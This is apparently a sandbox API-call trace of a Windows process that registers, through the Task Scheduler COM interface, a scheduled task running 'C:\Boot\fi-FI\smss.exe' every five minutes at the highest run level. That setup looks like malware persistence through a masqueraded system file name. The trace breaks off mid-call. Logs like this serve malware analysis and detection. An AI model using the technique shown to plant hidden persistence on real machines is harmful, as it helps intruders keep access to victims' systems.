[0075.566] lstrlenW (lpString="|m|") returned 3 [0075.566] lstrlenW (lpString="|f|") returned 3 [0075.566] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0075.566] SetLastError (dwErrCode=0x490) [0075.566] lstrlenW (lpString="i") returned 1 [0075.566] lstrlenW (lpString="i") returned 1 [0075.566] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.566] lstrlenW (lpString="f") returned 1 [0075.566] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.566] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|i|") returned 3 [0075.566] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.566] lstrlenW (lpString="|i|") returned 3 [0075.566] lstrlenW (lpString="|f|") returned 3 [0075.566] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0075.566] SetLastError (dwErrCode=0x490) [0075.566] lstrlenW (lpString="tn") returned 2 [0075.566] lstrlenW (lpString="tn") returned 2 [0075.566] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.566] lstrlenW (lpString="f") returned 1 [0075.566] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.566] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.566] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.566] lstrlenW (lpString="|tn|") returned 4 [0075.567] lstrlenW (lpString="|f|") returned 3 [0075.567] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0075.567] SetLastError (dwErrCode=0x490) [0075.567] lstrlenW (lpString="tr") returned 2 [0075.567] lstrlenW (lpString="tr") returned 2 [0075.567] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.567] lstrlenW (lpString="f") returned 1 [0075.567] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.567] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.567] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.567] lstrlenW (lpString="|tr|") returned 4 [0075.567] lstrlenW (lpString="|f|") returned 3 [0075.567] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0075.567] SetLastError (dwErrCode=0x490) [0075.567] lstrlenW (lpString="st") returned 2 [0075.567] lstrlenW (lpString="st") returned 2 [0075.567] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.567] lstrlenW (lpString="f") returned 1 [0075.567] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.567] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|st|") returned 4 [0075.567] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.567] lstrlenW (lpString="|st|") returned 4 [0075.567] lstrlenW (lpString="|f|") returned 3 [0075.567] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0075.567] SetLastError (dwErrCode=0x490) [0075.568] lstrlenW (lpString="sd") returned 2 [0075.568] lstrlenW (lpString="sd") returned 2 [0075.568] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.568] lstrlenW (lpString="f") returned 1 [0075.568] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.568] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sd|") returned 4 [0075.568] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.568] lstrlenW (lpString="|sd|") returned 4 [0075.568] lstrlenW (lpString="|f|") returned 3 [0075.568] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0075.568] SetLastError (dwErrCode=0x490) [0075.568] lstrlenW (lpString="ed") returned 2 [0075.568] lstrlenW (lpString="ed") returned 2 [0075.568] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.568] lstrlenW (lpString="f") returned 1 [0075.568] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.568] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ed|") returned 4 [0075.568] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.568] lstrlenW (lpString="|ed|") returned 4 [0075.568] lstrlenW (lpString="|f|") returned 3 [0075.568] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0075.568] SetLastError (dwErrCode=0x490) [0075.568] lstrlenW (lpString="it") returned 2 [0075.568] lstrlenW (lpString="it") returned 2 [0075.569] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.569] lstrlenW (lpString="f") returned 1 [0075.569] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.569] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|it|") returned 4 [0075.569] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.569] lstrlenW (lpString="|it|") returned 4 [0075.569] lstrlenW (lpString="|f|") returned 3 [0075.569] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0075.569] SetLastError (dwErrCode=0x490) [0075.569] lstrlenW (lpString="et") returned 2 [0075.569] lstrlenW (lpString="et") returned 2 [0075.569] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.569] lstrlenW (lpString="f") returned 1 [0075.569] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.569] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|et|") returned 4 [0075.569] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.569] lstrlenW (lpString="|et|") returned 4 [0075.569] lstrlenW (lpString="|f|") returned 3 [0075.569] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0075.569] SetLastError (dwErrCode=0x490) [0075.569] lstrlenW (lpString="k") returned 1 [0075.569] lstrlenW (lpString="k") returned 1 [0075.569] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.569] lstrlenW (lpString="f") returned 1 [0075.570] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.570] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|k|") returned 3 [0075.570] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.570] lstrlenW (lpString="|k|") returned 3 [0075.570] lstrlenW (lpString="|f|") returned 3 [0075.570] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0075.570] SetLastError (dwErrCode=0x490) [0075.570] lstrlenW (lpString="du") returned 2 [0075.570] lstrlenW (lpString="du") returned 2 [0075.570] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.570] lstrlenW (lpString="f") returned 1 [0075.570] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.570] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|du|") returned 4 [0075.570] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.570] lstrlenW (lpString="|du|") returned 4 [0075.570] lstrlenW (lpString="|f|") returned 3 [0075.570] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0075.570] SetLastError (dwErrCode=0x490) [0075.570] lstrlenW (lpString="ri") returned 2 [0075.570] lstrlenW (lpString="ri") returned 2 [0075.570] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.570] lstrlenW (lpString="f") returned 1 [0075.570] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.571] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ri|") returned 4 [0075.571] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.571] lstrlenW (lpString="|ri|") returned 4 [0075.571] lstrlenW (lpString="|f|") returned 3 [0075.571] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0075.571] SetLastError (dwErrCode=0x490) [0075.571] lstrlenW (lpString="z") returned 1 [0075.571] lstrlenW (lpString="z") returned 1 [0075.571] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.571] lstrlenW (lpString="f") returned 1 [0075.571] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.571] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|z|") returned 3 [0075.571] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.571] lstrlenW (lpString="|z|") returned 3 [0075.571] lstrlenW (lpString="|f|") returned 3 [0075.571] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0075.571] SetLastError (dwErrCode=0x490) [0075.571] lstrlenW (lpString="f") returned 1 [0075.571] lstrlenW (lpString="f") returned 1 [0075.571] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.571] lstrlenW (lpString="f") returned 1 [0075.571] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.571] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.571] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.572] lstrlenW (lpString="|f|") returned 3 [0075.572] lstrlenW (lpString="|f|") returned 3 [0075.572] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0075.572] SetLastError (dwErrCode=0x0) [0075.572] SetLastError (dwErrCode=0x0) [0075.572] GetProcessHeap () returned 0x380000 [0075.572] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce90 [0075.572] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.572] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0075.572] lstrlenW (lpString="LIMITED") returned 7 [0075.572] GetProcessHeap () returned 0x380000 [0075.572] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x10) returned 0x39d680 [0075.572] GetThreadLocale () returned 0x409 [0075.572] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0075.572] GetProcessHeap () returned 0x380000 [0075.572] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce60 [0075.572] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.572] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0075.572] lstrlenW (lpString="HIGHEST") returned 7 [0075.572] GetProcessHeap () returned 0x380000 [0075.572] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x10) returned 0x39d6a0 [0075.572] GetThreadLocale () returned 0x409 [0075.573] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0075.573] GetProcessHeap () returned 0x380000 [0075.573] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce30 [0075.573] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.573] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0075.573] lstrlenW (lpString="MINUTE") returned 6 [0075.573] GetProcessHeap () returned 0x380000 [0075.573] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39d6c0 [0075.573] GetThreadLocale () returned 0x409 [0075.573] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0075.573] SetLastError (dwErrCode=0x0) [0075.573] GetProcessHeap () returned 0x380000 [0075.573] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x1fc) returned 0x39c470 [0075.573] GetProcessHeap () returned 0x380000 [0075.573] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce00 [0075.573] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.573] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0075.573] lstrlenW (lpString="First") returned 5 [0075.573] GetProcessHeap () returned 0x380000 [0075.573] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xc) returned 0x39d6e0 [0075.574] GetProcessHeap () returned 0x380000 [0075.574] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cdd0 [0075.574] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.574] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0075.574] lstrlenW (lpString="Second") returned 6 [0075.574] GetProcessHeap () returned 0x380000 [0075.574] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39d700 [0075.574] GetProcessHeap () returned 0x380000 [0075.574] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cda0 [0075.574] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.574] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0075.574] lstrlenW (lpString="Third") returned 5 [0075.574] GetProcessHeap () returned 0x380000 [0075.574] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xc) returned 0x39d720 [0075.581] GetProcessHeap () returned 0x380000 [0075.581] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cd70 [0075.581] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.581] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0075.582] lstrlenW (lpString="Fourth") returned 6 [0075.582] GetProcessHeap () returned 0x380000 [0075.582] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39d740 [0075.582] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.582] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0075.582] lstrlenW (lpString="Last") returned 4 [0075.582] GetProcessHeap () returned 0x380000 [0075.582] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xa) returned 0x39d760 [0075.583] lstrlenW (lpString="5") returned 1 [0075.583] _wtol (_String="5") returned 5 [0075.583] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.583] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0075.583] lstrlenW (lpString="First") returned 5 [0075.583] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.583] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0075.583] lstrlenW (lpString="Second") returned 6 [0075.583] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.583] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0075.583] lstrlenW (lpString="Third") returned 5 [0075.583] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.583] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0075.583] lstrlenW (lpString="Fourth") returned 6 [0075.583] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.583] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0075.584] lstrlenW (lpString="Last") returned 4 [0075.584] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c400, cchData=128 | out: lpLCData="0") returned 2 [0075.584] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.584] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0075.584] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6e0) returned 1 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d6e0) returned 0xc [0075.584] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6e0 | out: hHeap=0x380000) returned 1 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x16) returned 0x39d6e0 [0075.584] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c420, cchData=128 | out: lpLCData="0") returned 2 [0075.584] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.584] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0075.584] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d700) returned 1 [0075.584] GetProcessHeap () returned 0x380000 [0075.584] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d700) returned 0xe [0075.584] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d700 | out: hHeap=0x380000) returned 1 [0075.584] GetProcessHeap () returned 0x380000 [0075.585] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x16) returned 0x39d700 [0075.585] GetLocalTime (in: lpSystemTime=0x29c650 | out: lpSystemTime=0x29c650*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3b, wMilliseconds=0x3af)) [0075.585] lstrlenW (lpString="") returned 0 [0075.585] GetLocalTime (in: lpSystemTime=0x29cf08 | out: lpSystemTime=0x29cf08*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3b, wMilliseconds=0x3af)) [0075.585] lstrlenW (lpString="") returned 0 [0075.585] lstrlenW (lpString="") returned 0 [0075.585] lstrlenW (lpString="") returned 0 [0075.585] lstrlenW (lpString="") returned 0 [0075.585] lstrlenW (lpString="5") returned 1 [0075.585] _wtol (_String="5") returned 5 [0075.585] lstrlenW (lpString="") returned 0 [0075.585] lstrlenW (lpString="") returned 0 [0075.585] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0075.693] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0075.803] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29ccd0 | out: ppv=0x29ccd0*=0x1f7b60) returned 0x0 [0075.820] TaskScheduler:ITaskService:Connect (This=0x1f7b60, serverName=0x29cdb0*(varType=0x8, wReserved1=0x29, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x29cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x29cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0075.963] TaskScheduler:IUnknown:AddRef (This=0x1f7b60) returned 0x2 [0075.963] TaskScheduler:ITaskService:GetFolder (in: This=0x1f7b60, Path=0x0, ppFolder=0x29ce68 | out: ppFolder=0x29ce68*=0x1f7d20) returned 0x0 [0075.968] TaskScheduler:ITaskService:NewTask (in: This=0x1f7b60, flags=0x0, ppDefinition=0x29ce60 | out: ppDefinition=0x29ce60*=0x1f7d70) returned 0x0 [0075.969] ITaskDefinition:get_Actions (in: This=0x1f7d70, ppActions=0x29cde0 | out: ppActions=0x29cde0*=0x1f7e30) returned 0x0 [0075.969] IActionCollection:Create (in: This=0x1f7e30, Type=0, ppAction=0x29ce00 | out: ppAction=0x29ce00*=0x1f61b0) returned 0x0 [0075.969] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.969] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.969] lstrlenW (lpString=" ") returned 1 [0075.970] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.970] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0075.971] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.971] IUnknown:Release (This=0x1f61b0) returned 0x1 [0075.971] IUnknown:Release (This=0x1f7e30) returned 0x1 [0075.971] ITaskDefinition:get_Triggers (in: This=0x1f7d70, ppTriggers=0x29c960 | out: ppTriggers=0x29c960*=0x1f5f80) returned 0x0 [0075.971] ITriggerCollection:Create (in: This=0x1f5f80, Type=1, ppTrigger=0x29c958 | out: ppTrigger=0x29c958*=0x1f6220) returned 0x0 [0075.972] lstrlenW (lpString="5") returned 1 [0075.972] _vsnwprintf (in: _Buffer=0x29c8e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x29c8d8 | out: _Buffer="PT5M") returned 4 [0075.972] ITrigger:get_Repetition (in: This=0x1f6220, ppRepeat=0x29c950 | out: ppRepeat=0x29c950*=0x1f62b0) returned 0x0 [0075.972] IRepetitionPattern:put_Interval (This=0x1f62b0, Interval="PT5M") returned 0x0 [0075.972] IUnknown:Release (This=0x1f62b0) returned 0x1 [0075.972] _vsnwprintf (in: _Buffer=0x29c8a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x29c878 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0075.973] ITrigger:put_StartBoundary (This=0x1f6220, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0075.973] lstrlenW (lpString="") returned 0 [0075.973] lstrlenW (lpString="") returned 0 [0075.973] lstrlenW (lpString="") returned 0 [0075.973] lstrlenW (lpString="") returned 0 [0075.973] IUnknown:Release (This=0x1f6220) returned 0x1 [0075.973] IUnknown:Release (This=0x1f5f80) returned 0x1 [0075.973] ITaskDefinition:get_Settings (in: This=0x1f7d70, ppSettings=0x29ce00 | out: ppSettings=0x29ce00*=0x1f5ff0) returned 0x0 [0075.973] lstrlenW (lpString="") returned 0 [0075.974] IUnknown:Release (This=0x1f5ff0) returned 0x1 [0075.974] GetLocalTime (in: lpSystemTime=0x29ccb8 | out: lpSystemTime=0x29ccb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x0, wMilliseconds=0x14d)) [0075.974] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0075.974] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0075.974] GetUserNameW (in: lpBuffer=0x29cce0, pcbBuffer=0x29ccc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x29ccc8) returned 1 [0075.975] ITaskDefinition:get_RegistrationInfo (in: This=0x1f7d70, ppRegistrationInfo=0x29ccb0 | out: ppRegistrationInfo=0x29ccb0*=0x1f7eb0) returned 0x0 [0075.975] IRegistrationInfo:put_Author (This=0x1f7eb0, Author="") returned 0x0 [0075.975] _vsnwprintf (in: _Buffer=0x29cce0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x29cc78 | out: 